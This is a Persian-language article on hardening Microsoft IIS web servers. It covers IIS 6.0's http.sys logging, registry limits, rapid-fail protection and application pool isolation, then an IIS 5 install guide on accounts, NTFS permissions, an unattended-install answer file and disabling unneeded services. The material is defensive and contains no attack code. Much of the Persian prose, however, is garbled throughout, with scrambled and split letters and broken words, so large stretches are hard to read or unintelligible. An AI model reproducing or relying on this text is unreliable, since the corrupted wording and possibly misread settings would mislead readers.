ل      ( و فایلهای حساس سيستم    و ) SAMبعنوان مثال فای د کگيری مي جل يد       . ن تفاده از       کن است مش    ک ه مم ک توجه داشته باش رای اس لاتی را ب

  . بوجود آوریدIISمسيرهای اصلی در ورژن قبلی 
  
 :loggingانسيم های افزایش امنيت کم

Logging  د ت ميباش اد امني ه ایج ز و پاسخ ب ت آمي شخيص موفقي رای ت دماتی ب د مق سترده نيازمن زاکمای.  گ از و اب ن ني افت ای ر را روس
سم کم ق در loggingاني سترده و موث شخيص داده استhttp.sys گ ردازش http.sys.  ت ه پ ل از ارسال تقاضا و رسيدن ب ا را قب  فایله

ان برسد                   log نيز   errorه در شرایط    کند  کاین تضمين مي  . ندکمعين مي  ه پای ردازش ب ی اگر آن باعث شود پ داخل  . ها انجام می شوند حت
ده و اتصال        IP ها، آدرسهای    errorیخ و زمان برقراری ارتباط،       شامل تار  logفایلهای   ده  ک هدف، و شماره پورتهای اتصال دهن می   نن

اره      .  از رگوهی استدلالی هستند   http.sysسایت و   http,URL,Idلغات. باشد ات اطلاعات را درب روه جزئي ن گ اده   errorای اق افت  اتف
ل   کی. زایش اتصال یا قطع غير منتظره بوده است یا خير         یا اف  Timeoutه آیا به خاطر     کنند  کتهيه می    ه از فای  log ، HTTP.sys نمون

  .يد ببيناینجارا ميتوانيد از 
  

  :طراحی امنيت
  

ده در  رات اساسی طراحی ش زایش امنيت IIS 6.0تغيي ا، اف ار داده ه ه اعتب ود بخشيدن ب امل بهب د و logging ش  و محافظت می باش
  .ه از آخرین اصول مصونيت و امنيت داده ها می باشدک و الصاق داده ها  اربرد جداسازیکهمجنين 

  :اعتبار بخشيدن به داده ها 
ایش     .  می باشد HTTP,HTTP.sys قرار گرفته است حالت هسته درایور IIS 6.0ه در طراحی کصولی بخش جدید ا رای نم ط ب ن فق ای

رار داده است        کسرور وب و ویژگيهای تنظيم نشده است بل       د نظر ق ز م ين امنيت سرور راني وان دروازه ای   HTTP.sys.ه همچن ه عن  ب
دا درخواست      د. ندکاربران از سرور وب عمل می       کبرای درخواست    ل        ک ر ابت ه و تحلي را در پردازشهای      ک اربران را تجزی رده سپس آن

ده سطح     کایجاد   د        ک نن رار می ده ر       . اربر مناسب ق ستم           ک محدودیت پردازشهای تغيي ابع انحصاری در هسته سي ه من اربر از دسترسی ب
  .یابد به طور زیادی محدود شده استه تمایل دارد به حق انحصاری دسترسی کننده کبنابراین، هدف حمله . ندکجلوگيری می 

  
ز          .  بوجود می آوردIIS 6.0انيسم امنيتی را در کدرایور تغيير داده شده در هسته چندین م ر ضد سر ری ا شامل محافظت ب ن بخش ه ای

رخواست های  ند تا اعتبار دک کمک پيشرفته URL می باشد تا به پردازش پاسخ تصادفی و تجزیه loggingانيسم های ک و بهبود م    بافر
افر مم           کبدین ترتيب، ممانعت    .  نماید کاربر را چ  ک ز شدن ب ان     ک ردن بهره برداری از آسيب پذیری سر ری ه بعدی زم ن است در مرحل

ه      . رده است ک  طراحی  IIS 6.0روسافت اصول عمقی دفاعی امنيت را در  کمای. بوجود آید ایی تجزی زایش توان ا اف ن ب ا   URLای ژه ب  وی
ار           . ميل می شود  ک ت HTTP.sys در   بخش های قرار گرفته    ر اعتب يله تغيي ن سازگاریها بوس ژه بطور مناسب تنظيم شده           registryای  وی

  )در مسير زیر پيدا می شود(رده استکليد های ثبت بسيار مهم را تنظيم کجدول زیر خلاصه ای از . است
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HKLM\System\CurrentControlSet\Services\HTTP\Parameters      
  

AllowRestrictedChars :  ن دار  کای د مق ذیرد  Booleanلي ی پ ه ک را م د  HTTPه ب ی ده ازه م ز در  کاراک ۶ اج رای رم تر را ب
  .ليد صفر استکارزش پيش فرض برای این . ترها به غير از صفر می باشدکاراک بپذیرد البته این URLدرخواست 

  
MaxFieldLength:   ليد به   کاین administrator   رای هر         ه س کاجازه ميدهد انی را ب د ک تنظيم    Headerطح فوق يش فرض      . ن دار پ مق

  .يلوبایت استک ١۶
  

MaxRequestBytes:   ل درخواست و    کليد برای سطح فوقانی از اندازه       کاینHeaders  ز       . ضروری است  ١۶مقدار پيش فرض این ني
  .يلو بایت استک
  

UrlSegmentMaxCount:  ه های مسير          کليد حدا کاین داد قطع ين می           پذ URLثر تع يله سرور را تعي ه شده بوس ه طور    کیرفت د آن ب ن
 محدودیت شدید   که ی کپيشنهاد ميشود . ندک استفاده شود را محدود می     URLاربر در درخواست    که می تواند    ک هایی   slashموثر تعداد   

  . است٢۵۵ليد کای این مقدار پيش فرض بر.  صورت گيردfile systemروی مقدار پایه اسناد وب برای محافظت سرور از حمله به 
  

 ٢۶٠ليد کمقدار پيش فرض برای این . ندک را تنظيم ميURLترها در هر قطعه مسير کاراکثر تعداد قطعات کليد پيوند فوقانی حداکاین 
  .است

EnableNonUTF8:   ه  کترهایی را   کاراکليد  کاینHTTP.sys    کمقدار پيش فرض ی   .ندکنترل مي ک مجاز ميداند HTTP.sys  را مجاز 
  . را شامل ميشودUTF 8 را بپذیرد علاوه بر این رمز فرمت ANSI, DBCS-encoded URLsه رمز نگاری کيداند م
  

دی  ک را طوری پي IIS 6.0علاوه بر انجام ثبت نام، می تواند سرور    administrator کی: Rapid-Failحفاظت  د  کربن ه طور   ک ن ه ب
دی   .  خاموش یا دوباره شروع شود     کاتوماتي ر ضعف ت           این عمل م ه   ک ه ممک رار بوجود می آورد       ک ر امنيت اضافی را در براب ن است ب

  .وسيله حمله شناسایی شود
  :ر بندی شودک به صورت زیر پيIIS می تواند در سرتاسر Rapid-Failحفاظت 

  
  . افزایش می یابدLocalامپيوتر ک IIS در مدیریت  -١
  کاربردهای مشترک توسعه -٢
  کبرد مشترارک به عنوان کليک راست -٣
   روی خواصکليک -۴
  
  :اربرد جداسازیک

  
ول می         ک و قبل تر مجازات اجراء برای جداسازی        5.0 یعنی   IISدر نسخه های قبلی      را معق ستقل، آن ر م ه واحدهای غي اربردهای وب ب

ر دیگر   ک  ک نقص یا عدم توافق ی       کبنابراین اغلب ی  . ساخت شابه    کاربرد وب اث م می    اربردهای وب موجود در سرور وب م ه ه  را ب
رات طراحی    کبنابراین افزایش عمل. ریزد ا تغيي رای جداسازی   IIS 6.0رد همراه ب ایی  ک را ب شوند   Poolsاربرد ک ه ک اربرده ده مي  نامي

ده        ک توسط ی  Poolاربرد  کهر  ).بدون اجراء اثر  (ندکعملی مي  د پردازن ا چن ه می شود          ک  ی ه خدمت گرفت سته ب ر واب رای    .ارگر غي ن ب  ای
  .ندکارگر نسبت به دیگران جلوگيری می ک پردازنده کرد یکزی اجاره داده می شود و از نقص عملنقص محلی سا

  
  ):آخرین امتياز(پشتيبانی از اصول 

  
IIS 6.0      م امنيت را رعایت می د ک اصول مه از     . ن ه اصل آخرین امتي امی  ک از جمل ی در      ک دهایی را ک ه تم ستم محل ا سي از است ت ه ني

HTTP.sysنوع جدید از کنند و یکه را ایجاد می کارگر سرویس شبکهمه پردازنده های . ندکه می  اجرا شود آماد Windows 2003 
ازد ال، محدود می س ن . را اعم ر ای ه IIS 6.0علاوه ب ط ب زار administrator فق ا اب د ت ازه ميده د ک را اجرا command-line اج ن

  .بنابراین این ابزار از سویی نيز در امان می ماند
  
يله مای ک  برنامه صحيح است ک یIIS 6.0ه کر انتها نيز می توان گفت و د ود        که بوس ه سازماندهی و بهب روسافت ساخته شده است و ب

ه ضعف امنيت دارد بهبود می بخشد   کربندی را کندو همچنين پيکو اعتماد و امنيت را برای ميزبان وب تامين می         . ندک می   کمکامنيت  
  . داردmonitoring and loggingپردازنده و افزایش يد زیادی به امنيت در کو تا

  
  com.Security Focusسایت : اصل مقاله در 
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   :IISنصب و پيکر بندی 

امپ      د   ياستفاده از شبکه های ک ل را     یوتری از چن ال    ی ن سال قب دی تصاعدی پ   ي ان اخ يج و در س رده است   دا ي ر رون ر شبکه های پ   .ک اده ي اکث
ند       ی و  ستم عامل شبکه ای    يس  مبتنی بر   سازی شده در کشور    دوز می باش امپ      .ن ستر و ز ي شبکه های ک رای    ی وتری، ب ر ساخت مناسب ب

امی  دارای ارزش خاص خود بوده و تم  اطلاعات امروزه. د یسازمان ها و موسسات را در رابطه با تکنولوژی اطلاعات فراهم می نما       
امپ        تفاده از شبکه های ک ا اس دگان اطلاعات ب ه دهن رای عرضه اطلاعات    ی وتری زيارائ د    ر ساخت لازم را ب عرضه .  بدست آورده ان

انی  ا ی توسط سازمان ها و موسسات می تواند بصورت محلی و        اطلاعات ه جا   .  باشد  جه ا توجه ب اه والای اطلاعات از   یب کطرف و  یگ
امپ     يگر ، لازم است به مقوله امن      ی از طرف د    )نترنت  یا ا ینترانت و   یا( وتری  ينقش شبکه های کامپ    وتری توجه جدی    يت در شبکه های ک

ی نما يستم امني س اده سازیيتی مناسب ، اقدام به پياست امنيک سین یشده و هر سازمان با تدو     ان      . د ی ت ه هم وژی اطلاعات ب ه تکنول مقول
ان م      هي ت اصول اول   ی رعااندازه که جذاب و موثر است ، در صورت عدم              ه هم ا  ی زان و   ي  ب ر        ي د ب یا ش سئله آف ده و م ن یشتر ، نگران کنن

وده   ي بس کی از نگرانی هاییوتری ، يت در شبکه های کامپ   يد امن یبدون ترد . خواهد بود    وژی اطلاعات ب ه     ار مهم در رابطه با تکنول ک
ان   با ارزش بوده ه دارای اطلاعاتی کيدر صورت .  بصورت علمی پرداخته شده است        متاسفانه کمتر به آن    ع   و قصد ارائه آن  و   را بموق

ال        ندیک فرآ ی داشته و با      قيت، نگرشی عم  يست به مقوله امن   ی همواره می با    م ، ي داشته باش   ن زمان ممکن  یعتریدر سر  ستمر آن را دنب  م
  . نمود 

  
ا         ند    یود در ا خ  ت اختصاصی یاغلب سازمان های دولتی و خصوصی در کشور، دارای وب س ا و موسسات    . نترنت می باش سازمان ه

زاری و ته      ي ا خود امکانات مربوطه را فراهم نموده و با نصب تجه           یت ،   یبرای ارائه وب سا    د لازم،       ي زات سخت اف ای بان ه     ه پهن دام ب اق
ا   وده و      یت خود در ا    یعرضه س ده خدمات م                  ی نترنت نم ه دهن ه شرکت های ارائ وط ب ات مرب انی ا  يا از امکان تفاده می نما    زب د   یس وجه  . ن

دون ترد  .  س دهنده وب است   یک سرو یگر، استفاده از    یوهای د یر سنار یا سا یوی فوق و    یاشتراک دو سنار   ده وب  ید سرو ی ب کی  یس دهن
ردد         یای ا ين نرم افزارهای موجود در دن     یاز مهمتر  ا       . نترنت محسوب می گ ه س ه ب اربرانی ک  و   ا موسسه متصل    ی ک سازمان و     ی ت  یک
اتی رادرخواست تهی می نما  اطلاع د ، خواس ان در نها ن ده وبیار سرويت در اختی آن ود  س دهن ته می ش ده وب، یسرو.  گذاش س دهن

ا ی ن نقطه خروج اطلاعات از     ی و آخر   ن نقطه ورود اطلاعات   ياول  د .  است   تیک س دی مناسب چن   يهی است نصب و پ  یب رم  يکربن ن ن
ه  .د  ی تی خاصی را طلب می نما     يرامنياب و تد   ت بوده يار حائز اهم  يافزار مهمی ، بس    ه بررسی     در ادام دی سرو   ي نحوه پ     ب ده   یکربن س دهن

  . م پرداخت يتی ، خواهيندوز با تمرکز بر مسائل امنی در شبکه های مبتنی بر وIISوب 

  
IIS(Internet Information services ( ،شر و توز     س دهندگان وب استیکی از سروی رای ن رای ب ه از آن ب ات ی ع محتویسر ع ی  ک

دوز  ی مبتنی بر و ستم هایيبرای س"  ، صرفاIISنسخه پنج   . مبتنی بر وب ، برای مرورگرهای استاندارد استفاده می شود            ل  ٢٠٠٠ن  قاب
  . استفاده است 

تفاده  اس  نسخه پنج برای.  نه می باشند ي ، مناسب و به IIS بمنظور نصب  Advanced server و Server  ٢٠٠٠ندوز ینسخه های و
ی   ز وجود داشته  ي  نProfessionalندوز یبهمراه و  نسخه پنج ، IISامکان نصب .  نشده است  ندوز طراحی یمی و یدر نسخه های قد     ول

ت یا محدود ی  و ODBCک بانک اطلاعاتی   ی اتصال به  ت ، ین وب سا  یزبان نمودن چند  يم: ر  يبرخی از امکانات آن نظ     ابی از يت در دس
  .  نشده است  در آن لحاظ  IPق یطر

  
ا  ي گر نیس دیسه نرم افزار و سرو. د ی را ارائه می نما  NNTP و   WWW   ،FTP  ،SMTP  س های ی ، سرو  IISنسخه پنج     در IISز ب

   . Transaction server و Certificate Server , Index server: ر می شوند يگ

  
ا   استفاده از رمزعبور،   جستری ،   یمات ر يتنظ ل ها ،    یمجوزهای فا . ستم عامل است    ي متاثر از س    IIS  ت در يامن اربران و س ر یحقوق ک

  .  دارند IISت در يکی با امنیم و نزديموارد مربوطه ارتباط مستق

  
ده دق   یلازم است که نحوه استفاده از سرو       ،   IISکربندی مناسب   يقبل از پ   ا يس دهن ردد     " ق دی دا  يپ. مشخص گ وری های     یکربن  ،  IISرکت

ه سوالات ز           ين زم ی کاربران نمونه هائی در ا     Account و    TCP/IPای   پورت ه   ، ل ها یفا ن رابطه   ی ر در ا  ی نه بوده که پاسخ مناسب ب
 :راهگشا خواهد بود 

  ابی است ؟ ينترنت قابل دستیق ایس دهنده از طریا سرویآ •
  ابی است ؟ ينترانت قابل دستیق ایس دهنده از طریا سرویآ •
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  زبان خواهند شد ؟ يده مس دهنیت بر روی سرویچه تعداد وب سا •
   بصورت اشتراکی می باشند ؟  اتیازمند استفاده از محتوي ن ت هایا وب سایآ •
تیا سرویآ • ان دس ده امک ناس يس دهن راد ناش رای اف رد ( ابی را ب وده و ) هر ف راهم نم تفاده از " ا صرفایف از حق اس راد مج اف

  ا هر دو ؟ یس دهنده را خواهند داشت ؟ و یسرو
  وجود دارد ؟ ) SSL(Secure Socket Layerت از یاستفاده و حماا امکان یآ •
   استفاده می گردد ؟ HTTPق یابی به وب از طريبرای دست" س دهنده صرفایا سرویآ •
  د ؟ یت می نمای را حماFTPس یس دهنده ، سرویا سرویآ •
ال  يات خاصی نظيازمند عمليا کاربرانی وجود دارد که ن    یآ • ی، فع ودن، حذف و    ر کپ ر روی سرو   ی  نوشتن فا ای  نم ائی ب س یل ه

   باشند ؟  دهنده

  : می گردد  شنهادي پIISر در زمان نصب يموارد ز

ت        " کی قرار داده و صرفا    یزيک محل امن ف   ی بر روی آن نصب شده است را در          IISوتری که   يکامپ • ه دس ادر ب ابی يافراد مجاز ق
  . س دهنده باشند یکی به سرویزيف

س یک سروی بر روی   IISکه  يدر صورت . دي نصب نمائ  Standaloneس دهنده   یک سرو یروی   را بر    IIS در صورت امکان،     •
رار گ    ی نصب گردد و سروDomain Controllerدهنده از نوع  ه ق ورد حمل ده وب م ام سرو  ي س دهن راه   یرد، تم ده بهم س دهن

د گرفت       ياطلاعات موجود در معرض آس     وق،         . ب قرار خواهن ورد ف ر م ر روی  IISنصب    علاوه ب ده از  یک سرو ی  ب س دهن
ا  یات سرو ي ش حجم عملی ، باعث افزاDomain controllerنوع  ده و متعاقب ارآئی س  " س دهن اهش ک ه سرو  ي ک س یستم در ارائ

  . های مربوط به وب خواهد شد 
  .  نصب گردند IISس دهنده یست بر روی سرویاده سازی نمی بايا ابزارهای پیبرنامه های کاربردی و   •
ا نظ یک از سرویشن نموده تا هر ي را بگونه ای مناسب پارتIISه نصب  وتر مربوط ب  يکامپ • ر روی  FTPا ی  و wwwر ي س ه  ب

  . رند يشن های مجزاء قرار گيپارت
• IIS      شن يگر بجز پارتی امکان نصب برنامه ها را در مکانی دCم يک نصب سفارشی داشته باش    ینکه یمگرا( د ی فراهم نمی نما

 اعمال   %Systemdrive%ش فرض در رابطه با     يمجوزهای پ . تم عامل مرتبط می گردد      سي عملکرد س   موضوع فوق به   . )
می .  گرددIISس های یموضوع فوق می تواند باعث عدم صحت کارکرد مناسب برخی از سرو          .  )Cو  یدرا" مثلا( می گردد   

  .  ندارند  ای ، رابطه IISس های یات مربوط به سرويستم عامل با عمليست مطمئن شد که مجوزهای سیبا
شته ای   • ای پ ل ه ام پروتک اربران یدر موارد. ( ديستم حذف نمائي را از روی سTCP/IPر از يغ) Stack(تم ه برخی از ک ک

  ) . کربندی مناسب آن نمود يست با دقت اقدام به نصب و پین نوع پروتکل ها می باشند می بایازمند برخی از اينترانت نیا
د  یرفعال است و می بايش فرض غي ، بصورت پ  IPنگ  يروت • ال شدن   . ست به همان حالت باقی بمان نگ ،  ي روت در صورت فع

  . نترنت ارسال گردد ینترانت به ایق کاربران این امکان وجود خواهد داشت که داده هائی از طریا
 ضروری  NNTP و HTTP,FTP,SMTPس های  ی، بمنظور اجرای سرو  Client for Microsoft networkingنصب  •

ک وجود  ي ا اتوماتی  بصورت دستی و     س های فوقیکه ماژول فوق نصب نگردد، امکان اجرای سرو      يدر صورت . د بود   خواه
  . نخواهد داشت 

ه نصب سرو   ی  تما کهيدر صورت  •  File and Print Sharing forس یست سرو ی  ، می با SMTP و NNTPس های  یل ب
Microsoftز نصب گردند ي ن .  

   IISات قبل از نصب يعمل

  
ردد    یبه شبکه ا) ناشناس ( ش فرض به منظور ورود کاربران گمنام ي پaccountک  ی ،   IISر زمان نصب    د اد می گ ام پ  . ج ش فرض  ين

امپ    computername بوده که    IUSER_computername،    فوق accountبرای   ه      ي نام ک ر روی آن نصب شده         IISوتری است ک  ب
ت  وقaccount. اس ی با  ف ری، م وده  ن یست دارای کمت ه ب ای مربوط وق و مجوزه ا ی  ی گز  و حق ه ه  user cannot changeن

password و password Never Expires    ال شده باشد وق همچن  account.  فع وع  ی ن می با ي ف وده و  local accountست از ن  ب
domain-wide account ی باشد       ی  را شامل نگرد ه شبکه بصورت محل مجوزهای  ) . log on locally(ده و دارای مجور ورود ب

 Access this computer from the network ا ی وlog on as a batch job در رابطه با account ال  ي ست غی  ، فوق می با ر فع
وق ، غ accountشنهاد می گردد يکاربران مجاز باشد، پ" ت ، صرفایاست ارتباط با وب سايکه س يدر صورت  . گردند   ردد   ي  ف ال گ . ر فع

    .ت خواهند بود ی قادر به ورود به سا ام کاربران با استفاده از نام و رمز عبور مربوطهب تمين ترتیبد

  
  تی يريرکتوری و اهداف مديل دايگروه هائی برای فا
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روه جد داقل دو گ ه در یح ان را دارIISد ک تفاده از ان صد اس ی بای ق ردد یست ایم، م اد گ روه : ج املا  (  WebAdminگ وق ک ام ف " ن

د   ی را دارند، تعرWWW/FTPات یت محتویریت مديکاربرانی که مسئول در گروه فوق، ) . ت  اری اس ياخت که يدر صورت . ف می گردن
ردد  یتی ایریک گروه مدیت یزبان شده است، برای هر سايت را م ین سا یچند س دهنده ،    یسرو روه   .جاد می گ وق    ( WebUser گ ام ف ن
ردد  ی ت ، تعری سا  مجاز برای ارتباط با  افرادaccountست  يدر گروه فوق ل   ) . اری است   ياخت" کاملا روه  ي در حالت اول . ف می گ ه ، گ

رای تنظ        .  است    IUSER_computernameشامل  " فوق صرفا  وق ب ه مجوزهای         ياز گروه های ف وط ب تفاده می     NTFSمات مرب  اس
روه   IUSER_computernameش فرض  يبصورت پ  . گر باشد ید عضو گروهی د   ی نبا IUSER_computername. گردد    عضو گ
ردد       شنهادي پ .   است  Usersو     Guests  ،Everyoneهای   وق  account می گ روه       ف روه       Guests، از گ ه گ  WebUsers حذف و ب

دارد       ی فوق از سا   accountامکان حذف   .( اضافه گردد    راد         ) . ر گروهها وجود ن ام اف ه تم ردد ک روه        دقت گ  WebUsers موجود در گ
     .ر گروهها باشند ید عضوی از سایف شده باشند و نبایت تعریابی به وب سايرای دستب" ست صرفایمی با

  
  ن گروه ي با چندIISت يريمد

  
د    ی کربندی و تعر  يف گروههای محلی بمنظور پ    ی ، امکان تعر   IIS شماره چهار     نسخه ای م رای سرو      یریف گروهه اوت ب س های   یتی متف
IIS      سخ     یرو.  را فراهم می نمود وق در ن نج      کرد ف ه است     یر  يي  ، تغ  IISه شماره پ د و می با       . افت ی می توانن ا ی محل رای  ی گروهه ست ب

د  ای م اوت ایریگروهه د  یتی متف اد گردن ود ب . ج اوت موج رو  يتف رای س ی ب ای محل رفاFTP و wwwس ین گروهه تفاده از " ص    اس
تی برای  یریی را بعنوان اپراتورهای مد    م گروههای محل  يت تنظ ي ، قابل  NNTP و   SMTPس های   یسرو.  خواهد بود     NTFSمجوزهای  

  .د ی فراهم می نماIIS  س دهندهیسرو

  
   IISستم عامل و ي ها برای سPatchنصب تمام 

  
سخه های    یست همواره بررسی های لازم در خصوص آخر        یمی با   ،   IISران  یمد ام داده     patch   و fixes  ن ن ه ، ي  و پس از ته     را انج

وان از بخش       یدب. ند  یاقدام به نصب آنان نما     ا Securityن منظور می ت ه های جد    ی س ات و برنام د را اخذ و نصب   ی ت ماکروسافت ملاق
  . نمود 

  
   IISش فرض نصب يرکتوری پيدا

  
ه       ی را در رابطه با دا     NTFSابی  يرات لازم در خصوص مجوزهای دست     ييست تغ ی ، می با   IISپس از نصب     ائی ک وری ه  نصب  IISرکت

ام داد   ت ، انج ده اس ای  گ .ش راه Guests و Everyoneروه ه ه    account بهم وط ب ی باGuestمرب د   ستی م ذف گردن روه .  ح گ
Everyone  رکتوری یش فرض دارای تمامی مجوزهای لازم در رابطه با دا     ي بصورت پInetpub ر مجاز با استفادهيکاربران غ.  است  

ت        یاز و  ه دس ادر ب ه س   يژگی گروه فوق ق اب      ي ابی ب ود، بن د ب دام لازم    ی ن لازم است در ا     یراستم خواهن تا اق ذ   )حذف  ( ن راس . رد ی صورت پ
ردد     يو پیبر روی درا   ،   Inetpubرکتوری  یدا ثلا . ( ش فرض نصب می گ وری جد یدا ) . Cو ی درا" م ا ساختار موجود می    ی د و ی رکت
 می   شنهادي پ .  اتی را بوجود آورد ي لستم های عم يت های در دسترس از محل س ین سا يزی ب یتما" گر منتقل و عملا   یشن د يست به پارت  یبا

  . ابد یر ييگری تغی به نام دلخواه دInetpubگردد 

  
ود    ي گر ن  ید) سفارشی   ( ک محل خاص      ی  را می توان در        نسخه پنج  IIS  رکتوری های یدا وق صرفا       ( ز نصب نم از " تحقق خواسته ف
ثلا ( ل پاسخ یفا. استفاده می شودل پاسخ یک فاین منظور از یبد) . سر می گردد ي م ک نصب سفارشی  یق  یطر ست ی می با ) iis5.txt" م

  :ر باشد یدارای اطلاعات ز

 IISر محل نصب ييل پاسخ بمنظور تغیاطلاعات ضروری در فا
[Components] 
iis_common = on 
iis_inetmgr = on 
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iis_www = on 
iis_ftp = on 
iis_htmla = on 
iis_doc = on 
iis_pwmgr = on 
iis_smtp = on 
iis_smtp_docs = on 
mts_core = on 
msmq = off 
[InternetServer] 
PathFTPRoot={put your drive and install location here, i.e. 
f:\FTPROOT} 
PathWWWRoot={put your drive and install location here, i.e. 
f:\WWWRoot} 

  ) ق خط دستور یاز طر . ( ر برای نصب استفاده می گرددیدر ادامه از دستور ز

Sysocmgr/I:%windir%\inf\sysoc.inf /u:a:\iis5.txt

  :رکتوری های مربوطه را نشان می دهد ی در رابطه با داIIS و NTFSر مجوزهای لازم یجدول ز

Type of 
Data Example Directories Data 

Examples 
NTFS File 
Permissions 

IIS 5.0
Permissions 

Static 
Content 

\Inetpub\wwwroot\images
\Inetpub\wwwroot\home 
\Inetpub\ftproot\ftpfiles 

HTML, 
images, FTP
downloads, 
etc. 

Administrators 
(Full Control) 
System (Full 
Control) 
WebAdmins (Read 
& Execute 
,Write, Modify) 
Authenticated 
Users (Read) 
Anonymous 
(Read) 

Read 

FTP 
Uploads  

)if 
required( 

\Inetpub\ftproot\dropbox 

Directory used 
as a
place for users 
to store
documents for 
review 
prior to the 
Admin 
making them 
available 
to everyone 

Administrators 
(Full Control) 
WebAdmins or 
FTPAdmins 
(Read & Execute, 
Write, Modify) 
Specified Users 
(Write) 

Write 

Script Files \Inetpub\wwwroot\scripts .ASP 

Administrators 
(Full Control) 
System (Full 
Control) 

Scripts only 
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WebAdmins(Read 
& Execute, 
Write, Modify) 
Authenticated 
Users: special 
access (Execute) 
Anonymous: 
special access 
(Execute) 

Other  
Executable 

and  
Include 

Files 

\WebScripts\executables 
\WebScripts\include 

.exe, .dll, 

.cmd, .pl

.inc, .shtml, 

.shtm 

Administrators 
(Full Control) 
System (Full 
Control) 
WebAdmins (Read 
& Execute, 
Write, Modify) 
Authenticated 
Users: special 
access (Execute) 
Anonymous: 
special access 
(Execute) 

Scripts only
Or 
Scripts and
Executables**
**(Depending 
on 
necessity) 

Metabase \WINNT\system32\inetsrv MetaBase.bin 

Administrators 
(Full Control) 
System (Full 
Control) 

N/A 

دنی هستند    ل های ف ی  که شامل فا    رکتوری ها ئی  یدا رای    ی فا ر، ی ، تصاو Htmlل های  ی فا( قط خوان اده ب  توسط  Downloadل های آم
FTP   ابی گروه يست دارای مجوز فقط خواندنی بمنظور دست      ی، می با  ... )  وWebUsers وع از فا .  باشند د    ی هر ن وق می توان   ل های ف

ست ی را می باModify و Read&Execute writeای لازم مجوزه .  رکتوری اختصاصی خود با مجوز فقط خواندنی باشندیدارای دا
ردد         یت محتو یریت مد يبه گروهی که مسئول    ثلا ( ات وب را برعهده دارد اعطاء گ روه   " م رای فا  ) . WebAdminگ ی      ی ب ( ل های اجرائ

وری اختصاصی ا    یک دا ی  ست  ی ، می با   ... )  و   batchل های    ی پت ها ، فا   یاسکر رد   یرکت اد ک وری های ف   یدا. ج دارای "  صرفا  وقرکت
ت را دارا می  یابی به ساي که مجوز لازم بمنظور دست  برای کاربرانی می باشندNTFS مربوط به Travesr Folder/Executeمجوز 
ند  اربر ( باش اIUSER_computernameک اربران تعری و س روه  یر ک ده در گ وق همچن یدا ) . WebUsersف ش وری ف ی يرکت ن م

ه ست دارای مجوز های مربیبا وع IISوط ب ه Scripts and Executablesمجوز .  باشدScript only و از ن وط ب  ، می IIS مرب
نری بوده و می یل های بایرکتوری که شامل فایک دای" مثلا. از دارند اعطاء گردد  ين مجوز ن  یرکتوری هائی که به ا    یبه دا " ست صرفا یبا
ام دا .س دهنده وب اجراء گردند  یل ها توسط سرو   ین فا یست ا یبا ور ی تم ای     رکت ال ه ه مث ه دارای نمون ایی ک وده و  ی ه پت یا هر اسکر  ی ی ب

ال داد  یست حذف و یاستفاده شده بمنظور اجرای برنامه های نمونه را می با  ان نصب   . ا انتق ددی ا   ی داIISدر زم وری های متع اد  یرکت ج
د  یر ييا مکان آنها تغ  یرکتوری های فوق حذف و      یردد دا شنهاد می گ  يپ. رديپت ها قرار می گ    یل های نمونه بهمراه اسکر    یکه در آنها فا      .اب

  : نه می باشند ين زمیر نمونه هائی در ایرکتوری های زیدا

\InetPub\iissamples 
\InetPub\AdminScripts

   IISس های يسرو

  
   : ستم نصب خواهد شديس بر روی سی ، چهار سروIISدر زمان نصب 
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• www . اد   یس فوق،بمنظور ا   یسرو ده وب   یک سرو  ی ج ه درخواست سرو         ی و سرو    س دهن رای   يس گ یس دهی لازم ب دگان ب رن
  . صفحات وب استفاده می گردد 

• FTP . ر روی سرو  یافت فای لازم در خصوص ارسال و در       س فوق، بمنظور ارائه خدمات    یسرو اربران    یل ب رای ک ده ب س دهن
  . استفاده می گردد 

• SMTP . رای سرو     يه الکترون افت نام   یس فوق،امکان ارسال و در    یسرو ه               يس گ یکی ب ا و برنام رم ه ه ف دگان را در پاسخ ب رن
  . د یگر فراهم می نمایهای خاص د

• NNTP . س دهنده خبری یک سرویزبانی يس فوق، بمنظور میسروUSENET  استفاده می گردد  .  

ه نصب برخی از سرو       ي ، می توان تصم     IISدر زمان نصب     ا یم ب ه ی  و  س ه ا گرفت    ا هم ه  ي ، در صورت IISاز نصب  پس  .  آنه که ب
  :  دنبال کرد  ر رایست مراحل زین منظور می بایبد. ر فعال نمودياز نباشد، می توان آنها را غيس ها نیوجود برخی از سرو

  :ر یر زيق مسی از طرServicesنه یانتخاب گز •

Programs => Administrative Tools => Services

ال کردن کل    . م ی  کردن آن را دار ر فعال ي که قصد غ    سییانتخاب سرو  • ا فع ه ب ه  یگز د سمت راست موس ،    ي در ادام  را Stopن
  .د يس فعال نمائیبمنظور توقف سرو

ال  یسرو ستم،  ير فعال شده در زمان راه اندازی مجدد س        يس غ ینان از عدم اجرای سرو    يبمنظور اطم  • س را مشخص و پس از فع
ه  یگز د سمت راست موس،    ي کردن کل  س را از یت اجرای سرو  ي وضع  Startup type را انتخاب ودر بخش   Propertiesن

  .  را نشان می دهد  wwwس یر فعال نمودن سروير نحوه غیشکل ز. د ير دهيي تغDisable به Automaticحالت 

  

  

  س يمن سازی متابيا
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اب . د ی ی نماره م ي  ذخ  را IISکربندی برنامه  ي پ  ر مربوط به پارامترهای   یمقاد ،  ) Metabase(س  يمتاب تفاده  يمت  IIS   در س بمنظور اس

اب    .  است  ٢٠٠٠ندوز یجستری ویرترنسبت به ر  یعتر و انعطاف پذ   یطراحی و بمراتب سر    ره در ساختار مت ) key(د ي ک کلی  س ، يهر گ
د دارای   ينام د ی ک و ی ده شده و می توان ه پ   یا چن وط ب دار مرب ه خصلت نام    ين مق وده ک دی ب اب دهایي کل. ده می شوند   ي کربن ه  IISس ي مت  ب

اث            ي  اختصاص داده شده و هر کل       IISت های مربوط به     يعناصر و قابل   ه ت ائی است ک ستق  يد شامل خصلت ه ر روی سرو     میير م س و ی ب
 است   IISری مناسب از ساختار      یس بصورت سلسله مراتبی بوده و تصو      يساختار استفاده شده در متاب    .  مربوطه ، خواهد داشت       ليپتانس

ر روی س     ر کل  . م نصب شده است        ستي که ب دی   يدهای پ ي اکث اد    IISکربن راه مق ی         ی بهم سخه های قبل جستری  ی ، در ر   IIS  ر مربوطه در ن
د     يس ذخ ير فوق در متاب   یدر نسخه پنج ، تمام مقاد     . دندیره می گرد  يستم ذخ يس زا    زي گری ن  یدهای د ي کل. ره می گردن رل  ی بمنظور اف ش کنت

اب    ی کی از مزا ی. ردد ره می گ يس ذخي در متاب IISری یانعطاف پذ  تفاده شده در مت اوت  ي س ، اختصاص تنظم يای ساختار اس ک ی ات متف
